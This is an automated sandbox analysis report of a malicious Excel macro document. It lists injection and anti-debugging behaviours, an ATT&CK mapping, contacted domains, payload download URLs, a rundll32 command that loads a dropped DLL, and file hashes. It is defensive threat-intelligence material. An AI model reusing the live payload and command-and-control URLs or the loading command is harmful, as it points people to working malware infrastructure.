Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\scfrd[1].dll	Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Dropped PE file which has not been started: C:\ProgramData\formnet.dll	Jump to dropped file

Source: C:\Windows\SysWOW64\msiexec.exe TID: 2864

Thread sleep time: -240000s >= -30000s

Anti Debugging:

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 4_2_0040A0CC _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 4_2_003569A0 CreateToolhelp32Snapshot,GetCurrentProcessId,Thread32First,GetLastError,Thread32Next,

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 4_2_0034D830 LoadLibraryA,GetProcAddress,

Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_00352EF0 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_00420D28 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_00420C5E mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_00420865 push dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 5_2_000E2EF0 mov eax, dword ptr fs:[00000030h]

Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_0040A0CC _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_0040ABA4 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,

HIPS / PFW / Operating System Protection Evasion:

Contains functionality to inject code into remote processes

Show sources

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 4_2_0034AE40 CreateProcessA,VirtualAllocEx,WriteProcessMemory,VirtualAllocEx,WriteProcessMemory,VirtualProtectEx,SetThreadContext,VirtualProtectEx,ResumeThread,ExitProcess,

Yara detected hidden Macro 4.0 in Excel

Show sources

Source: Yara match

File source: case (4335).xls, type: SAMPLE

Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\System32\rundll32.exe' C:\ProgramData\formnet.dll,DllRegisterServer
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\msiexec.exe msiexec.exe

Source: msiexec.exe, 00000005.00000002.2356165032.0000000000A30000.00000002.00000001.sdmp	Binary or memory string: Program Manager
Source: msiexec.exe, 00000005.00000002.2356165032.0000000000A30000.00000002.00000001.sdmp	Binary or memory string: Shell_TrayWnd
Source: msiexec.exe, 00000005.00000002.2356165032.0000000000A30000.00000002.00000001.sdmp	Binary or memory string: !Progman

Language, Device and Operating System Detection:

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 4_2_0040968A cpuid

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: GetLocaleInfoA,

Source: C:\Windows\SysWOW64\msiexec.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion DigitalProductId

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 4_2_004095A6 GetSystemTimeAsFileTime,GetCurrentProcessId,GetCurrentThreadId,GetTickCount,QueryPerformanceCounter,

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 4_2_00341A00 CreateDialogParamW,GetVersion,

Source: C:\Windows\SysWOW64\msiexec.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Scripting4	Path Interception	Access Token Manipulation1	Masquerading1	OS Credential Dumping	System Time Discovery1	Remote Services	Archive Collected Data1	Exfiltration Over Other Network Medium	Encrypted Channel12	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Native API1	Boot or Logon Initialization Scripts	Process Injection112	Disable or Modify Tools1	LSASS Memory	Security Software Discovery2	Remote Desktop Protocol	Data from Removable Media	Exfiltration Over Bluetooth	Ingress Tool Transfer2	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	Exploitation for Client Execution43	Logon Script (Windows)	Logon Script (Windows)	Virtualization/Sandbox Evasion1	Security Account Manager	Virtualization/Sandbox Evasion1	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	Non-Application Layer Protocol1	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	Access Token Manipulation1	NTDS	Process Discovery2	Distributed Component Object Model	Input Capture	Scheduled Transfer	Application Layer Protocol2	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	Process Injection112	LSA Secrets	Remote System Discovery1	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	Scripting4	Cached Domain Credentials	File and Directory Discovery1	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	Obfuscated Files or Information2	DCSync	System Information Discovery35	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	Rundll321	Proc Filesystem	Network Service Scanning	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue
Exploit Public-Facing Application	PowerShell	At (Linux)	At (Linux)	Software Packing2	/etc/passwd and /etc/shadow	System Network Connections Discovery	Software Deployment Tools	Data Staged	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	Web Protocols	Rogue Cellular Base Station		Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

No Antivirus matches

Dropped Files

No Antivirus matches

Unpacked PE Files

Source	Detection	Scanner	Label	Link	Download
4.2.rundll32.exe.340000.0.unpack	100%	Avira	TR/Crypt.ZPACK.Gen2		Download File
5.2.msiexec.exe.d0000.0.unpack	100%	Avira	TR/Crypt.ZPACK.Gen2		Download File

Domains

No Antivirus matches

URLs

Source	Detection	Scanner	Label
http://wmwifbajxxbcxmucxmlc.com/files/april24.dll)	0%	Avira URL Cloud	safe
http://ocsp.entrust.net03	0%	URL Reputation	safe
http://ocsp.entrust.net03	0%	URL Reputation	safe
http://ocsp.entrust.net03	0%	URL Reputation	safe
https://gadgetswolf.com/post.phpMb	0%	Avira URL Cloud	safe
http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0	0%	URL Reputation	safe
http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0	0%	URL Reputation	safe
http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0	0%	URL Reputation	safe
https://gadgetswolf.com/	0%	Avira URL Cloud	safe
https://rnollg.com/kev/scfrd.dll	0%	Avira URL Cloud	safe
http://www.diginotar.nl/cps/pkioverheid0	0%	URL Reputation	safe
http://www.diginotar.nl/cps/pkioverheid0	0%	URL Reputation	safe
http://www.diginotar.nl/cps/pkioverheid0	0%	URL Reputation	safe
http://windowsmedia.com/redir/services.asp?WMPFriendly=true	0%	URL Reputation	safe
http://windowsmedia.com/redir/services.asp?WMPFriendly=true	0%	URL Reputation	safe
http://windowsmedia.com/redir/services.asp?WMPFriendly=true	0%	URL Reputation	safe
https://gadgetswolf.com/f	0%	Avira URL Cloud	safe
http://crl.pkioverheid.nl/DomOvLatestCRL.crl0	0%	URL Reputation	safe
http://crl.pkioverheid.nl/DomOvLatestCRL.crl0	0%	URL Reputation	safe
http://crl.pkioverheid.nl/DomOvLatestCRL.crl0	0%	URL Reputation	safe
http://www.icra.org/vocabulary/.	0%	URL Reputation	safe
http://www.icra.org/vocabulary/.	0%	URL Reputation	safe
http://www.icra.org/vocabulary/.	0%	URL Reputation	safe
https://gadgetswolf.com/post.phpab	0%	Avira URL Cloud	safe
http://www.%s.comPA	0%	URL Reputation	safe
http://www.%s.comPA	0%	URL Reputation	safe
http://www.%s.comPA	0%	URL Reputation	safe
http://wmwifbajxxbcxmucxmlc.com/files/april24.dll~	0%	Avira URL Cloud	safe
http://ocsp.entrust.net0D	0%	URL Reputation	safe
http://ocsp.entrust.net0D	0%	URL Reputation	safe
http://ocsp.entrust.net0D	0%	URL Reputation	safe
https://rnollg.com/kev/scfrd.dll$8	0%	Avira URL Cloud	safe
https://homesoapmolds.com/	0%	Avira URL Cloud	safe
https://govemedico.tk/post.php	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
homesoapmolds.com	104.21.60.169	true	false	unknown
rnollg.com	172.67.150.228	true	false	unknown
gadgetswolf.com	172.67.200.147	true	false	unknown
govemedico.tk	104.21.73.69	true	false	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://wmwifbajxxbcxmucxmlc.com/files/april24.dll)	0FDE0000.0.dr	false	Avira URL Cloud: safe	unknown
http://www.windows.com/pctv.	rundll32.exe, 00000004.00000002.2154867305.0000000001DD0000.00000002.00000001.sdmp	false		high
http://investor.msn.com	rundll32.exe, 00000003.00000002.2155870146.0000000001B50000.00000002.00000001.sdmp, rundll32.exe, 00000004.00000002.2154867305.0000000001DD0000.00000002.00000001.sdmp	false		high
http://www.msnbc.com/news/ticker.txt	rundll32.exe, 00000003.00000002.2155870146.0000000001B50000.00000002.00000001.sdmp, rundll32.exe, 00000004.00000002.2154867305.0000000001DD0000.00000002.00000001.sdmp	false		high
http://crl.entrust.net/server1.crl0	msiexec.exe, 00000005.00000002.2356072686.00000000004F0000.00000004.00000020.sdmp	false		high
http://ocsp.entrust.net03	msiexec.exe, 00000005.00000002.2356072686.00000000004F0000.00000004.00000020.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://gadgetswolf.com/post.phpMb	msiexec.exe, 00000005.00000002.2356048675.000000000048D000.00000004.00000020.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0	msiexec.exe, 00000005.00000002.2356072686.00000000004F0000.00000004.00000020.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://gadgetswolf.com/	msiexec.exe, 00000005.00000002.2356048675.000000000048D000.00000004.00000020.sdmp	false	Avira URL Cloud: safe	unknown
https://rnollg.com/kev/scfrd.dll	before.1.0.0.sheet.csv_unpack	true	Avira URL Cloud: safe	unknown
http://www.diginotar.nl/cps/pkioverheid0	msiexec.exe, 00000005.00000002.2356072686.00000000004F0000.00000004.00000020.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://windowsmedia.com/redir/services.asp?WMPFriendly=true	rundll32.exe, 00000003.00000002.2157152768.0000000001D37000.00000002.00000001.sdmp, rundll32.exe, 00000004.00000002.2155127079.0000000001FB7000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.hotmail.com/oe	rundll32.exe, 00000003.00000002.2155870146.0000000001B50000.00000002.00000001.sdmp, rundll32.exe, 00000004.00000002.2154867305.0000000001DD0000.00000002.00000001.sdmp	false		high
https://gadgetswolf.com/f	msiexec.exe, 00000005.00000002.2356048675.000000000048D000.00000004.00000020.sdmp	false	Avira URL Cloud: safe	unknown
http://services.msn.com/svcs/oe/certpage.asp?name=%s&email=%s&&Check	rundll32.exe, 00000003.00000002.2157152768.0000000001D37000.00000002.00000001.sdmp, rundll32.exe, 00000004.00000002.2155127079.0000000001FB7000.00000002.00000001.sdmp	false		high
http://crl.pkioverheid.nl/DomOvLatestCRL.crl0	msiexec.exe, 00000005.00000002.2356072686.00000000004F0000.00000004.00000020.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.icra.org/vocabulary/.	rundll32.exe, 00000003.00000002.2157152768.0000000001D37000.00000002.00000001.sdmp, rundll32.exe, 00000004.00000002.2155127079.0000000001FB7000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://gadgetswolf.com/post.phpab	msiexec.exe, 00000005.00000002.2356048675.000000000048D000.00000004.00000020.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous.	msiexec.exe, 00000005.00000002.2356240442.0000000002060000.00000002.00000001.sdmp	false		high
http://investor.msn.com/	rundll32.exe, 00000003.00000002.2155870146.0000000001B50000.00000002.00000001.sdmp, rundll32.exe, 00000004.00000002.2154867305.0000000001DD0000.00000002.00000001.sdmp	false		high
http://www.%s.comPA	msiexec.exe, 00000005.00000002.2356240442.0000000002060000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	low
http://wmwifbajxxbcxmucxmlc.com/files/april24.dll~	case (4335).xls	false	Avira URL Cloud: safe	unknown
http://ocsp.entrust.net0D	msiexec.exe, 00000005.00000002.2356072686.00000000004F0000.00000004.00000020.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://rnollg.com/kev/scfrd.dll$8	case (4335).xls, 0FDE0000.0.dr	false	Avira URL Cloud: safe	unknown
https://secure.comodo.com/CPS0	msiexec.exe, 00000005.00000002.2356072686.00000000004F0000.00000004.00000020.sdmp	false		high
https://homesoapmolds.com/	msiexec.exe, 00000005.00000002.2356072686.00000000004F0000.00000004.00000020.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.entrust.net/2048ca.crl0	msiexec.exe, 00000005.00000002.2356072686.00000000004F0000.00000004.00000020.sdmp	false		high
https://govemedico.tk/post.php	msiexec.exe, 00000005.00000002.2356072686.00000000004F0000.00000004.00000020.sdmp	false	Avira URL Cloud: safe	unknown

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Domain	Country	ASN	ASN Name	Malicious
172.67.150.228	unknown	United States	13335	CLOUDFLARENETUS	false
104.21.60.169	unknown	United States	13335	CLOUDFLARENETUS	false
172.67.200.147	unknown	United States	13335	CLOUDFLARENETUS	false
104.21.73.69	unknown	United States	13335	CLOUDFLARENETUS	false

General Information

Joe Sandbox Version:	31.0.0 Emerald
Analysis ID:	344665
Start date:	26.01.2021
Start time:	21:34:07
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 6m 8s
Hypervisor based Inspection enabled:	false
Report type:	light
Sample file name:	case (4335).xls
Cookbook file name:	defaultwindowsofficecookbook.jbs
Analysis system description:	Windows 7 x64 SP1 with Office 2010 SP2 (IE 11, FF52, Chrome 57, Adobe Reader DC 15, Flash 25.0.0.127, Java 8 Update 121, .NET 4.6.2)
Number of analysed new started processes analysed:	8
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.expl.evad.winXLS@7/12@4/4
EGA Information:	Failed
HDC Information:	Successful, ratio: 67.8% (good quality ratio 67.4%) Quality average: 89.5% Quality standard deviation: 19.2%
HCA Information:	Successful, ratio: 83% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Adjust boot time Enable AMSI Found application associated with file extension: .xls Found Word or Excel or PowerPoint or XPS Viewer Attach to Office via COM Scroll down Close Viewer
Warnings:	Show All Exclude process from analysis (whitelisted): dllhost.exe TCP Packets have been reduced to 100 Report size getting too big, too many NtOpenKeyEx calls found. Report size getting too big, too many NtQueryValueKey calls found. VT rate limit hit for: /opt/package/joesandbox/database/analysis/344665/sample/case (4335).xls

Simulations

Behavior and APIs

Time	Type	Description
21:35:12	API Interceptor	1205x Sleep call for process: msiexec.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link
172.67.150.228	case (1522).xls	Get hash	malicious	Browse
172.67.150.228	case (166).xls	Get hash	malicious	Browse
104.21.60.169	case (1522).xls	Get hash	malicious	Browse
104.21.60.169	case (4374).xls	Get hash	malicious	Browse
172.67.200.147	case (1522).xls	Get hash	malicious	Browse
104.21.73.69	case (1522).xls	Get hash	malicious	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
gadgetswolf.com	case (1522).xls	Get hash	malicious	Browse	172.67.200.147
	case (4374).xls	Get hash	malicious	Browse	104.21.44.135
	case (166).xls	Get hash	malicious	Browse	104.21.44.135
rnollg.com	case (1522).xls	Get hash	malicious	Browse	172.67.150.228
rnollg.com	case (166).xls	Get hash	malicious	Browse	172.67.150.228
govemedico.tk	case (1522).xls	Get hash	malicious	Browse	104.21.73.69
	case (4374).xls	Get hash	malicious	Browse	172.67.158.184
	case (166).xls	Get hash	malicious	Browse	172.67.158.184
homesoapmolds.com	case (1522).xls	Get hash	malicious	Browse	104.21.60.169
	case (4374).xls	Get hash	malicious	Browse	104.21.60.169
	case (166).xls	Get hash	malicious	Browse	172.67.198.109

ASN

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
CLOUDFLARENETUS	case (1522).xls	Get hash	malicious	Browse	104.21.73.69
	case (4374).xls	Get hash	malicious	Browse	104.21.60.169
	case (166).xls	Get hash	malicious	Browse	172.67.198.109
	PAYMENT.xlsx	Get hash	malicious	Browse	104.16.19.94
	PAYMENT.xlsx	Get hash	malicious	Browse	104.16.18.94
	Informacion.doc	Get hash	malicious	Browse	104.21.89.78
	PAYMENT.260121.xlsx	Get hash	malicious	Browse	162.159.133.233
	SecuriteInfo.com.Trojan.Packed2.42783.27799.exe	Get hash	malicious	Browse	104.21.19.200
	SecuriteInfo.com.Trojan.Packed2.42783.24703.exe	Get hash	malicious	Browse	104.21.19.200
	Ewqm21Iwdh.exe	Get hash	malicious	Browse	104.21.19.200
	a4iz7zkilq.exe	Get hash	malicious	Browse	104.21.19.200
	case (547).xls	Get hash	malicious	Browse	104.21.23.220
	Vcg9GH4CWw.exe	Get hash	malicious	Browse	104.21.19.200
	case (547).xls	Get hash	malicious	Browse	104.21.23.220
	nMn5eAMhBy.exe	Get hash	malicious	Browse	172.67.188.154
	sSPHg0Y2cZ.exe	Get hash	malicious	Browse	104.21.19.200
	vK6VPijMoq.exe	Get hash	malicious	Browse	104.21.19.200
	8gom3VEZLS.exe	Get hash	malicious	Browse	172.67.188.154
	y4Gpxq7eWg.exe	Get hash	malicious	Browse	104.21.19.200
	v07PSzmSp9.exe	Get hash	malicious	Browse	66.235.200.145
CLOUDFLARENETUS	case (1522).xls	Get hash	malicious	Browse	104.21.73.69
	case (4374).xls	Get hash	malicious	Browse	104.21.60.169
	case (166).xls	Get hash	malicious	Browse	172.67.198.109
	PAYMENT.xlsx	Get hash	malicious	Browse	104.16.19.94
	PAYMENT.xlsx	Get hash	malicious	Browse	104.16.18.94
	Informacion.doc	Get hash	malicious	Browse	104.21.89.78
	PAYMENT.260121.xlsx	Get hash	malicious	Browse	162.159.133.233
	SecuriteInfo.com.Trojan.Packed2.42783.27799.exe	Get hash	malicious	Browse	104.21.19.200
	SecuriteInfo.com.Trojan.Packed2.42783.24703.exe	Get hash	malicious	Browse	104.21.19.200
	Ewqm21Iwdh.exe	Get hash	malicious	Browse	104.21.19.200
	a4iz7zkilq.exe	Get hash	malicious	Browse	104.21.19.200
	case (547).xls	Get hash	malicious	Browse	104.21.23.220
	Vcg9GH4CWw.exe	Get hash	malicious	Browse	104.21.19.200
	case (547).xls	Get hash	malicious	Browse	104.21.23.220
	nMn5eAMhBy.exe	Get hash	malicious	Browse	172.67.188.154
	sSPHg0Y2cZ.exe	Get hash	malicious	Browse	104.21.19.200
	vK6VPijMoq.exe	Get hash	malicious	Browse	104.21.19.200
	8gom3VEZLS.exe	Get hash	malicious	Browse	172.67.188.154
	y4Gpxq7eWg.exe	Get hash	malicious	Browse	104.21.19.200
	v07PSzmSp9.exe	Get hash	malicious	Browse	66.235.200.145
CLOUDFLARENETUS	case (1522).xls	Get hash	malicious	Browse	104.21.73.69
	case (4374).xls	Get hash	malicious	Browse	104.21.60.169
	case (166).xls	Get hash	malicious	Browse	172.67.198.109
	PAYMENT.xlsx	Get hash	malicious	Browse	104.16.19.94
	PAYMENT.xlsx	Get hash	malicious	Browse	104.16.18.94
	Informacion.doc	Get hash	malicious	Browse	104.21.89.78
	PAYMENT.260121.xlsx	Get hash	malicious	Browse	162.159.133.233
	SecuriteInfo.com.Trojan.Packed2.42783.27799.exe	Get hash	malicious	Browse	104.21.19.200
	SecuriteInfo.com.Trojan.Packed2.42783.24703.exe	Get hash	malicious	Browse	104.21.19.200
	Ewqm21Iwdh.exe	Get hash	malicious	Browse	104.21.19.200
	a4iz7zkilq.exe	Get hash	malicious	Browse	104.21.19.200
	case (547).xls	Get hash	malicious	Browse	104.21.23.220
	Vcg9GH4CWw.exe	Get hash	malicious	Browse	104.21.19.200
	case (547).xls	Get hash	malicious	Browse	104.21.23.220
	nMn5eAMhBy.exe	Get hash	malicious	Browse	172.67.188.154
	sSPHg0Y2cZ.exe	Get hash	malicious	Browse	104.21.19.200
	vK6VPijMoq.exe	Get hash	malicious	Browse	104.21.19.200
	8gom3VEZLS.exe	Get hash	malicious	Browse	172.67.188.154
	y4Gpxq7eWg.exe	Get hash	malicious	Browse	104.21.19.200
	v07PSzmSp9.exe	Get hash	malicious	Browse	66.235.200.145

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
7dcce5b76c8b17472d024758970a406b	case (1522).xls	Get hash	malicious	Browse	104.21.60.169 172.67.150.228 172.67.200.147 104.21.73.69
	case (4374).xls	Get hash	malicious	Browse	104.21.60.169 172.67.150.228 172.67.200.147 104.21.73.69
	case (166).xls	Get hash	malicious	Browse	104.21.60.169 172.67.150.228 172.67.200.147 104.21.73.69
	PAYMENT.xlsx	Get hash	malicious	Browse	104.21.60.169 172.67.150.228 172.67.200.147 104.21.73.69
	case (547).xls	Get hash	malicious	Browse	104.21.60.169 172.67.150.228 172.67.200.147 104.21.73.69
	Dridex-06-bc1b.xlsm	Get hash	malicious	Browse	104.21.60.169 172.67.150.228 172.67.200.147 104.21.73.69
	The Mental Health Center.xlsx	Get hash	malicious	Browse	104.21.60.169 172.67.150.228 172.67.200.147 104.21.73.69
	Remittance Advice 117301.xlsx	Get hash	malicious	Browse	104.21.60.169 172.67.150.228 172.67.200.147 104.21.73.69
	SC-TR1167700000.xlsx	Get hash	malicious	Browse	104.21.60.169 172.67.150.228 172.67.200.147 104.21.73.69
	PAYMENT INFO.xlsx	Get hash	malicious	Browse	104.21.60.169 172.67.150.228 172.67.200.147 104.21.73.69
	case (348).xls	Get hash	malicious	Browse	104.21.60.169 172.67.150.228 172.67.200.147 104.21.73.69
	RefTreeAnalyserXL.xlam	Get hash	malicious	Browse	104.21.60.169 172.67.150.228 172.67.200.147 104.21.73.69
	case (426).xls	Get hash	malicious	Browse	104.21.60.169 172.67.150.228 172.67.200.147 104.21.73.69
	case (250).xls	Get hash	malicious	Browse	104.21.60.169 172.67.150.228 172.67.200.147 104.21.73.69
	case (1447).xls	Get hash	malicious	Browse	104.21.60.169 172.67.150.228 172.67.200.147 104.21.73.69
	case (850).xls	Get hash	malicious	Browse	104.21.60.169 172.67.150.228 172.67.200.147 104.21.73.69
	SecuriteInfo.com.Heur.18472.xls	Get hash	malicious	Browse	104.21.60.169 172.67.150.228 172.67.200.147 104.21.73.69
	case (1543).xls	Get hash	malicious	Browse	104.21.60.169 172.67.150.228 172.67.200.147 104.21.73.69
	case_1581.xls	Get hash	malicious	Browse	104.21.60.169 172.67.150.228 172.67.200.147 104.21.73.69
	case (435).xls	Get hash	malicious	Browse	104.21.60.169 172.67.150.228 172.67.200.147 104.21.73.69

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Link
C:\ProgramData\formnet.dll	case (1522).xls	Get hash	malicious	Browse
	case (4374).xls	Get hash	malicious	Browse
	case (166).xls	Get hash	malicious	Browse
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\scfrd[1].dll	case (1522).xls	Get hash	malicious	Browse
	case (4374).xls	Get hash	malicious	Browse
	case (166).xls	Get hash	malicious	Browse
C:\Users\user\AppData\Roaming\Ubc\way.dll	case (1522).xls	Get hash	malicious	Browse
	case (4374).xls	Get hash	malicious	Browse
	case (166).xls	Get hash	malicious	Browse

Created / dropped Files

C:\ProgramData\formnet.dll Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	933888
Entropy (8bit):	6.687983171155114
Encrypted:	false
SSDEEP:	24576:xTw7wGauFB4FU61kqTWJtknpwHfl1kKoop7:ih/FaU65TE1Hf9oI7
MD5:	B0F3FA047F6AE39A145FD364F693638E
SHA1:	1951696D8ACA4A31614BB68F9DA392402785E14E
SHA-256:	0BF22B8F9AAEF21AFE71FCBBEA62325E7582DAD410B0A537F38A9EB8E6855890
SHA-512:	86E4516705380617A9F48B2E1CD7D9E676439398B802EB6047CD478D4B10BF8F4BA20E019F337B01761FA247CD631CCAB22851F078089C2E1C61574BCA9F5B98
Malicious:	true
Joe Sandbox View:	Filename: case (1522).xls, Detection: malicious, Browse Filename: case (4374).xls, Detection: malicious, Browse Filename: case (166).xls, Detection: malicious, Browse
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......Vt1..._..._..._......._...!..._.5."..._.5.2..._......._...^..._.5.1.C._.5.%..._.5.#..._.5.'..._.Rich.._.........................PE..L......C...........!................wq............@.....................................................................c.......<....`..`....................p..T...................................p...@...............`............................text............................... ..`.rdata..C...........................@..@.data...`d....... ..................@....rsrc...`....`......................@..@.reloc..~....p... ... ..............@..B........................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\scfrd[1].dll Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	downloaded
Size (bytes):	933888
Entropy (8bit):	6.687983171155114
Encrypted:	false
SSDEEP:	24576:xTw7wGauFB4FU61kqTWJtknpwHfl1kKoop7:ih/FaU65TE1Hf9oI7
MD5:	B0F3FA047F6AE39A145FD364F693638E
SHA1:	1951696D8ACA4A31614BB68F9DA392402785E14E
SHA-256:	0BF22B8F9AAEF21AFE71FCBBEA62325E7582DAD410B0A537F38A9EB8E6855890
SHA-512:	86E4516705380617A9F48B2E1CD7D9E676439398B802EB6047CD478D4B10BF8F4BA20E019F337B01761FA247CD631CCAB22851F078089C2E1C61574BCA9F5B98
Malicious:	true
Joe Sandbox View:	Filename: case (1522).xls, Detection: malicious, Browse Filename: case (4374).xls, Detection: malicious, Browse Filename: case (166).xls, Detection: malicious, Browse
Reputation:	low
IE Cache URL:	https://rnollg.com/kev/scfrd.dll
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......Vt1..._..._..._......._...!..._.5."..._.5.2..._......._...^..._.5.1.C._.5.%..._.5.#..._.5.'..._.Rich.._.........................PE..L......C...........!................wq............@.....................................................................c.......<....`..`....................p..T...................................p...@...............`............................text............................... ..`.rdata..C...........................@..@.data...`d....... ..................@....rsrc...`....`......................@..@.reloc..~....p... ... ..............@..B........................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\FDDE0000 Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	59780
Entropy (8bit):	7.769791887747964
Encrypted:	false
SSDEEP:	768:SwGBP++aB0WviH/WoTXZSzrSimIbCVpoWpgffXfQ4:SwmW+aB3viH/WaI5xGVpoWpgv
MD5:	756B1D60127951007258D72EAF5243B3
SHA1:	B6999B2C61B0D5F146A3A9C140B465759CF1A754
SHA-256:	5A9CBA6603DCF58220E2076ABCC1E9889917769BAB73D24EFD54C4F17B309D1F
SHA-512:	50ACC2CF2B1D7750B5F8F19B354E2EA0142F4649F685EA702C4F02C4ED7E017866D1DDC4283CC24F56CE3BF75FBC5CC4230F4406D807CFFBDF7A191B2AE9CB90
Malicious:	false
Reputation:	low
